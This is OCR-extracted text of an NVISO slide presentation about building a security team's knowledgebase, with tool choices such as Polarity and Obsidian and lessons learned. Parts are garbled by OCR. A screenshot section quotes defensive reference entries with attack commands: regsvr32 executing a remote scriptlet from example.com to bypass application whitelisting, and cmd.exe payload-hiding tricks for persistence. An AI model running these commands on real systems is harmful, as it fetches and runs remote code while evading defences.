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Story Time with NVISO nV I S 0 L

What actions we took to build
out our knowledgebase.

0\ B
The lessons we learned by making [%/:,
J) mistakes and fixing them. M%
(3
Changing Our Tactics —_—
O— Lessons Learned
Some changes to our initial ideas when Some of the ideas we would want to k
we obtained new tools and learned to implement in the future
work with them.
What Would We Do Different?

www.nviso.eu | 3



An empty space
with a lot of dust
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Loose

pages
everywhere

Old and
outdated

documents

No goals



First steps

Define goal

One user



Define your goal

S

What Why How
What do you need to Why do you want your What program /
document documentation knowledge base are

you going to use



Prioritize

What? Chose
' one topic

oA
donty >




Point of
Contact

Most
documen-
tation

Different
people,

different
responsibilities
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Yet another meeting

Document Q Validate
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Changing Tactics




POLARITY



Searching Using OCR

Meant for investigations

Great tool for a dynamic
knowledgebase

Search

On-demand only Stream

153.204.165.188

SHO Bakersfield, Unitied States
SHO Org: ATT&T U-verse

10.100.0.200

LT S incident ] SNinquiry ] SNaciive
IRIS Risk Score: 28 | IRIS Proximity

FD904ADDBDFES48C22FFAS223ED9EEE

CB 32 | CB weeaux.dll

€930b05efe23891d19bc354a4209be3e
64676C60EA564E44D5B211C9ACB9BA3S0ES10E12

jlawson@fbi.gov

P James Lawson P Works at FBI



Cmd.exe Q

l The command-line interpreter in Windows

| Can be used to evade defensive countermeasures or to hide as a persistence mechanism: cmd.exe /c echo regsvr32.exe /s »

Adu
* fi:https:/raw.githubusercontent.com,/redcanaryco/atomic-red-team/master/atom...
l Can be used to evade defensive countermeasures or to hide as a persistence mechanism: cmd.exe - < fakefile.docpayload.bat
SV NELTa COMF Spaces: 0 | CONF Pages: 23 | CONF Blogs: 0 | CONF Attachments: 2
Polarity . Bt

Regswr32.exe Q

The command-line interpreter in Window ) .
l T ? l Used by Windows to register dlls
4 menths age by |EEE
I Execute code from remote scriptlet, bypass Application whitelisting: regsvr32 /s /n /u fithttp://example.com/file.sct scrobj.dll

Can be used to evade defensive countarn l Execute code from scriptlet, bypass Application whitelisting: regsvr32.exe /s fu [ifile.sct scrobj.dll
A fihttps://raw.githubusercontent.com/rg
fakefile.docpayload.bat Polarity

4 months ago by -

| Can be used to evade defensive countern | Used by Windows to register dlis

4 months ago by [N 4 months ago by | I

l Execute code from remote scriptlet, bypass Application whitelisting: regsvr32 /s /n fu fihttpy/fexample.com/ffile.sct scrobj.dll
4 months age by |

l Execute code from scriptlet, bypass Application whitelisting: regsvr32.exe /s fu fifile.sct scrobjdll

4 months ago by -




® Monitor | Logs
"

Group by: Solution  Filter

Favorites.

Microsoft Defender
for Endpoint

Threats are no match

/1

|
y A | 4 ) =AY ' |

THREAT & VULNERABILITY ATTACK SURFACE NEXT GENERATION ENDPOINT DETECTION AUTO INVESTIGATION MICROSOFT THREAT
MANAGEMENT REDUCTION PROTECTION AND RESPONSE AND REMEDIATION EXPERTS

Centralized, Configuration, Administration, APIs
e — Clients, servers, mobile, network devices

Reis 1y Moaicalion

1 1feldsortsd SOalerts [ Fislds
1 @timestamp Severly v RiskScors - Reason
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Hlaenalies flalware analysis & Malicious documents

.. o L T e et
Ransomware activity Malicious documents

it : W Setup
Unusual addition of credentials to an .. VM Setup

Aocess Anomaly
MMazs Downloa
Azure
Paost-delivery detection of suspicious at..

Malware Pre-Compromise & Past-Compro..
Allowlist phishing campaign
* Malware Pre-Compromise
Lewvel Diagram

P ~ ; * Hunting For malware
*  Malware Post-Compromise unting Far m alware
HSOAR issues

At = . DR { ¥DR { SIEM |nvestiaation
_ Malicious Endpaoint Command Execution EDR /DR / SIEM Investigations
. ¥ MD
_ ! & based anomalies MCE
» XD
* “Wulnerability scan

* Elastic
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Lessons Learned



Focus on the You don’t have to
resent plan everything
° from the start

Is it usable?

Change is good

Document as
much or as little
as needed -> get
to the point

Make it fun /
team event

Revisit every 3-4
months
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Doing It Different
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Obsidian

https://obsidian.md/
Y 9 &9 o O L 4

Markdown
V& & & & & & L

Local or cloud
A S S S S S S

Backlinks
VY & & & & & 4

Mind map graphs

V- 9 9 29 9 O & 4
Plug-ins

M N N LT T LT LTI

VS-code for Markdown
Vo & & & & & 4


https://obsidian.md/

Why Obsidian?

Open format
- 9 9 9 & & 4

Plugins
V- 9 9 9 v & 4

No overhead
VY & & & & & 4

Easy to work with
A S S S S S S

Linking pages together
V- 9 & O & & 4

Copy-paste actually keeps format
A T S S S S

Easy Paste of images
A S L S S S A




Obsidian + Github

Version control
Easy sharable
Github pages + Markdown

Code & notes in 1 location



Thank You

Any questions?
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